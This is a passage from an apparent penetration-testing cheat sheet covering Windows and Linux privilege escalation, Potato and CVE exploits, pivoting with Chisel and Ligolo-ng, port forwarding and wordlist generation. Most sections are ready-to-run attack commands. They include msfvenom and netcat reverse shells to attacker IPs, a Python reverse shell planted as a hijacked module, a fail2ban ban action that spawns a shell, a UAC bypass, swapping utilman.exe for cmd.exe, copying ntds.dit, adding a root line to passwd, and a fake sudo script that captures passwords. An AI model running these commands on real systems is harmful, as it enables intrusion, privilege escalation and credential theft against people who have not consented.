msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe > shell.exe
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c
# Compile the above code
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe
# Transfer the binary to target and execute
.\eventvwr-bypassuac-64.exe
# Check your listener and then run "whoami /groups" again and check last line.
Mandatory Label\High Mandatory Level Label S-1-16-12288
# This means you can run elevated commands. Dumping hashes etc.
</syntaxhighlight>

==== CVE ====

===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====

<syntaxhighlight lang="bash">
# https://github.com/apt69/COMahawk
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka 'Windows UPnP Service Elevation of Privilege Vulnerability'.
# Method 1
.\COMahawk64.exe
[\] Progress: 1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.
# Method 2
.\COMahawk64.exe "C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443"
</syntaxhighlight>

==== HiveNightmare ====

<syntaxhighlight lang="bash">
# https://github.com/GossiTheDog/HiveNightmare
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).

</syntaxhighlight>

==== LAPS ====

<syntaxhighlight lang="bash">
# If we have valid creds for LDAP we can query LDAP for the local admin password.
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -h 192.168.120.108 "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory.
</syntaxhighlight>

==== Potatos (SeimpersonatePrivilege) ====

[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]

* If the machine is >= Windows 10 1809 & Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]

* If the machine is < Windows 10 1809 < Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]

===== Finding CLSID =====

[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]

<syntaxhighlight lang="powershell">
function Lookup-Clsid
{
Param([string]$clsid)
$CLSID_KEY = 'HKLM:\SOFTWARE\Classes\CLSID'
If ( Test-Path $CLSID_KEY\$clsid) {
$name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).'(default)'
$dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).'(default)'
}
$name, $dll
}
</syntaxhighlight>

===== Hot Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/foxglovesec/Potato
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
</syntaxhighlight>

===== Rotten Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/breenmachine/RottenPotatoNG
After having a meterpreter shell with incognito mode loaded:
MSFRottenPotato.exe t c:\windows\temp\test.bat
</syntaxhighlight>

===== Lonely Potato =====

<syntaxhighlight lang="bash">
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.
https://github.com/decoder-it/lonelypotato
</syntaxhighlight>

===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====

<syntaxhighlight lang="bash">
# Download repository
https://github.com/ohpe/juicy-potato
https://github.com/antonioCoco/JuicyPotatoNG
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe
</syntaxhighlight>

===== Rogue Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/antonioCoco/RoguePotato
# Run in your machine the socat redirection (replace VICTIM_IP):
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
# Execute PoC (replace YOUR_IP and command):
.\RoguePotato.exe -r YOUR_IP -e "command" -l 9999
</syntaxhighlight>

===== GodPotato =====

[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]

Enables privilege escalation in Windows 2012 - Windows 2022

<syntaxhighlight lang="bash">
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
</syntaxhighlight>

===== SharpEfsPotato =====

[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]

<syntaxhighlight lang="bash">
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
</syntaxhighlight>

===== PrintSpoofer =====

[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]

<syntaxhighlight lang="bash">
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:
PrintSpoofer.exe -i -c cmd
</syntaxhighlight>

==== Se-privileges ====

===== Great list and explanation =====

[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]

<syntaxhighlight lang="bash">
# This ppt will explain how to exploit different SePrivileges
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
</syntaxhighlight>

===== SeManageVolume =====

<syntaxhighlight lang="bash">
https://github.com/xct/SeManageVolumeAbuse
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume
</syntaxhighlight>

===== SeLoadDriverPrivilege =====

<syntaxhighlight lang="bash">
# See writeup for PG Fuse
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System
</syntaxhighlight>

===== SeRestorePrivilege =====

<syntaxhighlight lang="bash">
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.
# See PG Heist writeup
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.
# Example of ways to escalate privilege
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# Now RDP to target without logging in. Then press win+u
rdesktop 192.168.153.165
</syntaxhighlight>

[[File:2022-11-image-2.png|thumb]]

===== SeBackupPrivilege =====

<syntaxhighlight lang="bash">
# SeBackUpPrivilege basically allows for full system read.
# See if user is member of 'Backup Operator'.
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
# https://github.com/giuliano108/SeBackupPrivilege
# Example 1
PS C:\scripts> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\scripts> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\scripts> Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup
SeBackupPrivilege is disabled
PS C:\scripts> dir E:\V_BASE
Get-ChildItem : Access to the path 'E:\V_BASE' is denied.
At line:1 char:4
+ dir Set-SeBackupPrivilege
PS C:\scripts> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\scripts> dir E:\V_BASE # ...having enabled the privilege, this now works

Directory: E:\V_BASE

Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 18/07/2013 13:04 Private
PS C:\scripts> cd E:\V_BASE\Private
PS E:\V_BASE\Private> dir

Directory: E:\V_BASE\Private

Mode LastWriteTime Length Name
---- ------------- ------ ----
----- 05/07/2013 12:29 306435 report.pdf
PS E:\V_BASE\Private> Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite
Copied 306435 bytes
PS E:\V_BASE\Private>

-------------------
# Example 2
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
</syntaxhighlight>

===== SeCreateTokenPrivilege =====

<syntaxhighlight lang="bash">
# https://www.greyhathacker.net/?p=1025
Try running it many times
</syntaxhighlight>

==== SMBGhost ====

<syntaxhighlight lang="bash">
# CVE-2020-0796
# https://github.com/danigargu/CVE-2020-0796
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp
# Compile it. Change 'debug' to 'release', set correct architecture.
# Transfer to target
.\cve-2020-0796.exe
</syntaxhighlight>

==== Software ====

===== Iperius Backup 6.1.0 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/46863
</syntaxhighlight>

===== SystemScheduler =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/45072
</syntaxhighlight>

==== Unquoted Service Path ====

<syntaxhighlight lang="bash">
# In order to exploit Unquoted service path we have to:
# - Be able to write to the target folder - Use icacls
# - Be able to restart the service or machine
# Exmaple (10.1.1.89)
icacls enterprisesystemmanager.exe # We have modify permissions
# Generate a payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe > enterprisesystemmanager.exe
# Move original .exe to .bak
move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager
certutil -urlcache -split -f "http://192.168.119.130/enterprisesystemmanager.exe"
# Catche the connection
rlwrap nc -lvnp 443 1 ⨯
listening on [any] 443 ...
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
</syntaxhighlight>

==== Windows XP SP0/SP1 - UPNP service exploit ====

<syntaxhighlight lang="bash">
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html
# Requirenment: Obtained a low privilege shell on your victim's computer. Operating system is Windows XP with SP0 or SP1 installed.
# See write up for PWK 10.11.1.14.
</syntaxhighlight>

==== Windows Exploit Suggester ====

<syntaxhighlight lang="python">
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls
</syntaxhighlight>

==== Windows Kernel Exploit list ====

<syntaxhighlight lang="bash">
https://github.com/SecWiki/windows-kernel-exploits
</syntaxhighlight>

==== xampp 7.3 ====

<syntaxhighlight lang="bash">
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]
└─# cat exploit.ps1
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\Users\Mike\Downloads\rev.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $fil
</syntaxhighlight>

=== Linux ===

==== CVE ====

===== CVE-2009-2698 (Centos 4.8) =====

<syntaxhighlight lang="bash">
https://github.com/xiaoxiaoleo/CVE-2009-2698
</syntaxhighlight>

===== CVE-2021-4034 (polkit) =====

<syntaxhighlight lang="bash">
# https://github.com/joeammond/CVE-2021-4034
# Check suid and see if /usr/bin/pkexec is present and python
# Then compile and run
</syntaxhighlight>

===== CVE-2023–22809 (bypass sudo) =====

<syntaxhighlight lang="bash">
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466

</syntaxhighlight>

==== Fail2ban ====

<syntaxhighlight lang="bash">
# See PG Fail writeup
# Example reverse shell
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
#actionban = -I f2b- 1 -s -j
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999
</syntaxhighlight>

==== Linux Kernel exploits ====

<syntaxhighlight lang="bash">
# Linux versions
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
https://www.exploit-db.com/exploits/15285
# Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4)
https://www.exploit-db.com/exploits/44298
# Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27)
https://www.exploit-db.com/exploits/45010
</syntaxhighlight>

==== Copy Fail - CVE-2026-31431 ====
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

==== Dirty Frag: Universal Linux LPE ====
<syntaxhighlight lang="bash">
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
</syntaxhighlight>

==== ld_reload - Dynamic library hijacking ====

<syntaxhighlight lang="bash">
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one
# List Dynamic Dependencies = ldd
# Ldd is a powerful command-line tool that allows users to view an executable file's shared object dependencies.
ldd /usr/bin/log-sweeper
linux-vdso.so.1 => (0x00007ffe11833000)
utils.so => not found
libc.so.6 => /lib64/libc.so.6 (0x00007f6ce440c000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)
# Generate .so payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so > utils.so
</syntaxhighlight>

==== SUID ====

<syntaxhighlight lang="bash">
find / -perm -u=s -type f 2>/dev/null
</syntaxhighlight>

==== Setuid Screen 4.5.0 ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/41154
</syntaxhighlight>

==== Sudo ====

[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]

[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]

==== Systemctl (Misconfigured Permissions — sudo/SUID) ====

[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]

[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]

==== Sudo permission to run apache restart ====

<syntaxhighlight lang="bash">
# If your user have these permissions
(root) NOPASSWD: /usr/sbin/service apache2 restart
# First check what file you have write permission to.
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.
# Example
# envvars in /etc/apache2 is writeable.
# Change to another user if there are any on the machine
export APACHE_RUN_USER=DifferentUser
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.
</syntaxhighlight>

==== Software ====

===== Exim 4.84-3 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/39535
# If error, fix with
sed -i -e 's/\r$//' 39535.sh
</syntaxhighlight>

===== OpenSMTPD 6.4.0 < 6.6.1 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/48051
</syntaxhighlight>

==== Writeable passwd ====

<syntaxhighlight lang="bash">
# Generate hashed password
openssl passwd -1 -salt aghanim pass123
# Add to passwd on target
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash
</syntaxhighlight>

----

== Pivoting/tunneling technique ==

[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]

[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]

[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]

[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]

=== Chisel ===

<syntaxhighlight lang="bash">
# CHISEL AND PROXYCHAINS AND FOXYPROXY
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).
# Attacker machine
chisel server -p 37777 --reverse
# Target machine
./chisel client Attacker-IP:37777 R:socks
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --> 10.200.57.200 on port 1080 --> 10.200.57.150 (Unreachable from attacker).
proxychains nc -vn 10.200.57.150 3389
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).
proxychains python2 exploit.py.
# OR by using foxy proxy if I want to access http.
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).
# And start foxy proxy. Now I can access the webserver on.
# I can also use proxychains to access HTTP.
proxychains firefox.
# This will open firefox through proxychains.

# Using SOCKS5 with chisel
./chisel server -v -p 8000 --socks5
# On the client/target/victim machine
chisel.exe client -v attacker.com:8000 socks
</syntaxhighlight>

=== Ligolo-ng ===

[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]

<syntaxhighlight lang="bash">
#### LINUX
# Prepare tunnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy on kali
./proxy -laddr 192.168.45.195:53 -selfcert
# On target
./agent -connect 192.168.45.195:53 -ignore-cert
# See session in ligolo proxy
ligolo-ng» session
# Add pivot to internal network on kali
sudo ip r add 172.16.213.0/24 dev ligolo
# Check ip route
ip route
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
172.16.213.0/24 dev ligolo scope link
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195
192.168.213.0/24 via 192.168.45.254 dev tun0

# In ligolo - in correct session
[Agent: user@target] » start
</syntaxhighlight>

<syntaxhighlight lang="bash">
#### WINDOWS
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:
# Download Ligolo-ng Proxy:
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.
# Install Wintun Driver:
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.
# Download the appropriate wintun.dll from the Wintun repository.
# Place the wintun.dll file in the same directory as proxy.exe.
# Run the Proxy:
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.
# Execute the proxy with a self-signed certificate:
proxy.exe -selfcert
# This command starts the proxy server with a self-signed TLS certificate.
# Configure the Agent:
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:
agent.exe -connect :11601 -ignore-cert
# Replace with the actual IP address of your proxy machine.
# Manage Sessions:
# In the proxy's command interface, use the session command to list active sessions.
# Select the desired session to interact with the connected agent.
# Start Tunneling:
# Within the selected session, initiate the tunnel:
tunnel_start --tun
# Replace with your chosen name for the TUN interface.
# Set Up Routing:
# Determine the network configuration of the agent using the ifconfig command within the session.
# On your Windows proxy machine, add routes to access the target network:
route add mask
# Replace , , and with the appropriate values based on the agent's network configuration.

</syntaxhighlight>

=== meterpreter ===

<syntaxhighlight lang="bash">
# Use autoroute module to create a pivot for the other network
use post/multi/manage/autoroute
set SUBNET 192.72.180.0
set SESSION 2
exploit
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.
use auxiliary/server/socks_proxy # Or try socks5
show options
set SRVPORT 9050
exploit
# Now you can use proxychains
# DISCOVER OTHER HOSTS ON THE NETWORK
# On windows you can use post/windows/gather/arp_scanner to discover other machines
# On Linux you can try arp -a
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
ssh -D 1337 user@172.16.0.5 -fN
# Now use proxychains
# If you want to nmap without proxychains
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080
</syntaxhighlight>

=== sshuttle ===

<syntaxhighlight lang="bash">
# Synopsis
sshuttle [options] -r [username@]sshserver[:port]
# Example
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24
</syntaxhighlight>

----

== Port Forwarding techniques ==

<syntaxhighlight lang="bash">
# Windows
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS
# Metasploit
portfwd add -l 9090 -p 9090 -r TARGETIP
# Reverse ssh tunnel, port forwarding 8090 from target to us:
ssh -R 8090:localhost:8090 user@ip
# Local port forward, forward local 8090 to target:
ssh -L 8090:localhost:8090 user@ip
# Chisel
# Example: forward port 8888 to attacker using chisel
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
# Synopsis
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host
# Example
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100
</syntaxhighlight>

=== Chisel ===

Example: forward port 8888 to attacker using chisel

<syntaxhighlight lang="bash">
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

----

== Python ==

=== Decompile ===

<syntaxhighlight lang="python">
# https://github.com/rocky/python-decompile3
# Translate python bytecode to python source code.
$ python pyinstxtractor.py
# Decompile .pyc
# https://github.com/zrax/pycdc
git clone https://github.com/zrax/pycdc
cd pycdc
cmake .
make
make check
python pycdc C:\Users\Bobby\example.pyc
</syntaxhighlight>

=== Load module ===

<syntaxhighlight lang="bash">
# If a python script tries to load a module which does not exist, we can place our own module. # https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
# Add a python reverse shell into the file
echo 'import os,pty,socket;s=socket.socket();s.connect(("192.168.49.165",22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > module.py
</syntaxhighlight>

=== PDB (Python Debugger ===

[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]

<syntaxhighlight lang="python">
# Add import pdb
import pdb
# In script, before an error message, add
pdb.set_trace()
# Example
-> url = url.group(1)
(Pdb) print url.group(1)
http://swagshop.htb/index.php/admin/das[...]
(Pdb) continue
</syntaxhighlight>

=== Python Extractor ===

<syntaxhighlight lang="python">
# https://github.com/extremecoders-re/pyinstxtractor
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell
Python3 pyinstxtractor.py
</syntaxhighlight>

=== Simple HTTP Server ===

<syntaxhighlight lang="bash">
$python -m SimpleHTTPServer
$python -m http.server
</syntaxhighlight>

----

== Symbolic Link (Windows) ==

<syntaxhighlight lang="bash">
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa
</syntaxhighlight>

----

== Wordlists ==

=== Cewl - Generate wordlist ===

<syntaxhighlight lang="bash">
# Will create a wordlist from words in the URL, and add numbers.
cewl --with-numbers > wordlist
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)
cewl -d 2 -m 5 -w docswords.txt https://example.com
</syntaxhighlight>

=== Cupp ===

[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]

<syntaxhighlight lang="bash">
python3 cupp.py -i # Interactive mode where you fill out information about the person
</syntaxhighlight>

=== Datelist - Generate date wordlist ===

[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]

<syntaxhighlight lang="bash">
# Generate date list with yyyy-mm-dd format
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -
-b = beginning date
-e = end date
-f = format
-o = output
-s = spacing
</syntaxhighlight>

=== Seclists ===

[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]

=== Python script ===

<syntaxhighlight lang="python">
import itertools
words = ["firmanavn", "sommer", "prod",
"dev", "database", "app", "server",
"test", "oracle", "doc", "admin", "db",
"password", "administrator", "tech"]
combo = itertools.combinations(words, 2)
combo = list(combo)

with open("/home/kali/wordlist.txt", "w+") as wordlist:
for i in combo:
wordlist.write(i[0] + "." + i[1])
wordlist.write("\n")
wordlist.write(i[0].capitalize() + "." + i[1].capitalize())
wordlist.write("\n")

for i in range(0,2023):
for v in words:
word = v + str(i) + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "\n"
wordlist.write(word)
word = v + str(i) + "!" + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "!" + "\n"
wordlist.write(word)
</syntaxhighlight>

----

== Useful Linux Commands ==

=== Add SUID (setuid) bit to file ===

<syntaxhighlight lang="bash">
chmod 4755 /tmp/sh
</syntaxhighlight>

=== Add user to sudoers file ===

<syntaxhighlight lang="bash">
# Add User to sudoers file
echo username ALL=(ALL) ALL >> sudoers
</syntaxhighlight>

=== BruteForce using su when having a shell - Password Spray ===

<syntaxhighlight lang="bash">
https://github.com/carlospolop/su-bruteforce
./su.sh -u ray -w xato-net-10-million-passwords-10000.txt
</syntaxhighlight>

=== Cat, cut delimeter ===

<syntaxhighlight lang="bash">
# Cat a file and cut delimiter space in field 3
cat $log | cut -d' ' -f3-
</syntaxhighlight>

=== Copy output to clipboard ===

<syntaxhighlight lang="bash">
cat file | xclip -selection clipboard
</syntaxhighlight>

=== Enable cursor in Terminal Kali ===

<syntaxhighlight lang="bash">
tput cnorm
</syntaxhighlight>

=== Output tty to shell or redirect to file ===

<syntaxhighlight lang="bash">
# From eavsdropper room in THM
# If a user types in his password and you have a shell you can redirect output to your shell.
cat sudo
#!/bin/bash
read password
echo $password > /dev/pty/0 # Choose the correct pty.
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.
# Run
export $PATH=/tmp:$PATH
# Now wait for the user to type his password and it will pop up in your shell.
</syntaxhighlight>

=== Kill/close open port on linux ===

<syntaxhighlight lang="bash">
fuser -k PORT/tcp
</syntaxhighlight>

=== Reset kali to default settings ===

BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.

<syntaxhighlight lang="bash">
# If you're having problems with kali acting up, you can reset kali to default.
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:
sudo apt-get update && sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get autoremove
sudo apt-get autoclean
sudo update-grub
</syntaxhighlight>

=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===

<syntaxhighlight lang="bash">
# https://vk9-sec.com/linux-restricted-shell-bypass/
# List of escape methods
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/
# If in rshell (Restricted shell), use this command to list all available commands
compgen -c
# Rbash escape ssh
ssh alfred@10.11.1.101 -t 'bash' --noprofile
</syntaxhighlight>

[[File:2022-11-image-1.png|thumb]]

=== Read .db files ===

<syntaxhighlight lang="bash">
# For DB files, like users.db. Read content with sqlitebrowser
sqlitebrowser users.db
</syntaxhighlight>

=== Read Windows registry files on Linux ===

<syntaxhighlight lang="bash">
# Start hivexsh, and load a hive.
# https://linux.die.net/man/1/hivexsh
hivexsh
> load SECURITY
</syntaxhighlight>

=== ss instead of netstat ===

<syntaxhighlight lang="bash">
ss -tlpn
-t display tcp socket
-l display listening socket
-p show process using packets
-n dont resolve service name
</syntaxhighlight>

=== Fix Desktop Environment if its broken ===

<syntaxhighlight lang="bash">
https://www.kali.org/docs/general-use/xfce-faq/
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.
REMEMBER TO DELETE IT FROM THE HOME USER and not root.
</syntaxhighlight>

=== Fix Kali Login loop ===

<syntaxhighlight lang="bash">
# On the login screen type
CTRL + ALT + F1
# then type this command from the home/kali dir.
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart
</syntaxhighlight>

----

== Useful Windows Commands ==

=== Stealing SAM and SYSTEM ===

